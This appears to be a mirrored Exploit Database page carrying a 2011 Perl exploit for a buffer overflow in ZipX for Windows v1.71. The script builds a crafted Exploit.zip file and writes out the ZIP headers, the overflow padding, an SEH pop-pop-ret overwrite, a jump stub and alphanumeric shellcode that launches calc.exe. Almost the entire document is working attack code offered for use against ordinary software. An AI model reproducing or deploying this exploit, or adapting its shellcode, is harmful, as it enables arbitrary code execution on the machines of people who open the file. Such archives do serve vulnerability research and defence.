ZipX 1.71 – ‘.ZIP’ File Buffer Overflow

• Exploit Database
• 91 阅读

• 作者： C4SS!0 G0M3S
  日期： 2011-09-05
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17783/

• #!/usr/bin/perl
  #
  #[+]Exploit Title: ZipX for Windows v1.71 ZIP File Buffer Overflow Exploit
  #[+]Date: 05\09\2011
  #[+]Author: C4SS!0 G0M3S
  #[+]Software Link: http://download.cnet.com/ZipX/3000-2250_4-10518937.html
  #[+]Version: v1.71
  #[+]Tested On: WIN-XP SP3 Brazilian Portuguese
  #[+]CVE: N/A
  #
  #
  #Reproduce:
  #Open the zip file, after click in "Encrypt", type you password and click in "Ok" BOOM!!! 
  #See the calc.exe
  #
  
  
  use strict;
  use warnings;
  
  my $filename = "Exploit.zip"; 
  
  print "\n\n\t\tZipX for Windows v1.71 ZIP File Buffer Overflow Exploit\n";
  print "\t\tCreated by C4SS!0 G0M3S\n";
  print "\t\tE-mail louredo_\@hotmail.com\n";
  print "\t\tSite http://net-fuzzer.blogspot.com/\n\n";
  sleep(1);
  
  print "\t\t[+]Creating ZIP File...\n";
  sleep(1);
  my $head = "\x50\x4B\x03\x04\x14\x00\x00".
  "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
  "\x00\x00\x00\x00\x00\x00\x00\x00" .
  "\xe4\x0f" .
  "\x00\x00\x00";
  
  my $head2 = "\x50\x4B\x01\x02\x14\x00\x14".
  "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00" .
  "\x00\x00\x00\x00\x00\x00\x00\x00\x00".
  "\xe4\x0f".
  "\x00\x00\x00\x00\x00\x00\x01\x00".
  "\x24\x00\x00\x00\x00\x00\x00\x00";
  
  my $head3 = "\x50\x4B\x05\x06\x00\x00\x00".
  "\x00\x01\x00\x01\x00".
  "\x12\x10\x00\x00".
  "\x02\x10\x00\x00".
  "\x00\x00";
  
  my $shellcode = 
  "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIHZXL9ID414ZTOKHI9LMUK" .
  "VPZ6QO9X1P26QPZTW5S1JR7LCTKN8BGR3RWS9JNYLK79ZZ165U2KKLC5RZGNNUC70NEPB9OUTQMXPNMM" .
  "PV261UKL71ME2NMP7FQY0NOHKPKZUDOZULDS8PQ02ZXM3TCZK47PQODJ8O52JNU0N72N28MZKLTNGU7Z" . # Shellcode WinExec "calc.exe"
  "UXDDXZSOMKL4SQKUNKMJPOOCRODCMDKR0PGQD0EYIRVMHUZJDOGTUV2WP3OIVQ1QJSLSKGBLYKOY7NWW" . # Alpha Numeric Shellcode BaseAddress EAX
  "LNG6LBOM5V6M0KF2NQDPMSL7XT80P61PBMTXYQDK5DMLYT231V649DZTPP26LWSQRLZLQK15XUXYUNP1" .
  "BPF4X6PZIVOTZPJJRUOCC3KD9L034LDOXX5KKXNJQMOLSJ6BCORL9WXQNKPUWNKRKJ8JSNS4YMMOHT3Z" .
  "QJOHQ4QJUQLN1VSLV5S1QYO0YA";
  my $payload = "A" x 330;
  $payload .= 
  ("\x66\x05\x4D\xCD" x 4).
  "\x66\x05\x19\x18". # ADD AX,1819
  "\x54\x5A\x50\x5B". # PUSH ESP # POP EDX # PUSH EAX # POP EBX
  "\x2B\xE0". # Afer convertion SUB EDX,EBX
  "\x52\x58". # PUSH EDX # POP EAX
  "\x98\xd1"; # CALL EAX
  $payload .= "C" x (371-length($payload));
  $payload .= "\x3C\x01\x75\xd1"; # Converted is that "\x3c\x04\x75\xd0"
  $payload .= pack('V',0x0041334d); # P/P/RET
  $payload .= $shellcode;
  $payload .= "B" x (4064-length($payload));
  $payload = $payload.".rar";
  my $zip = $head.$payload.$head2.$payload.$head3;
  open(FILE,">$filename") || die "\t\t[-]Error:\n$!\n";
  print FILE $zip;
  close(FILE);
  print "\t\t[+] ZIP File Created With Sucess:)\n";
  sleep(3);
  

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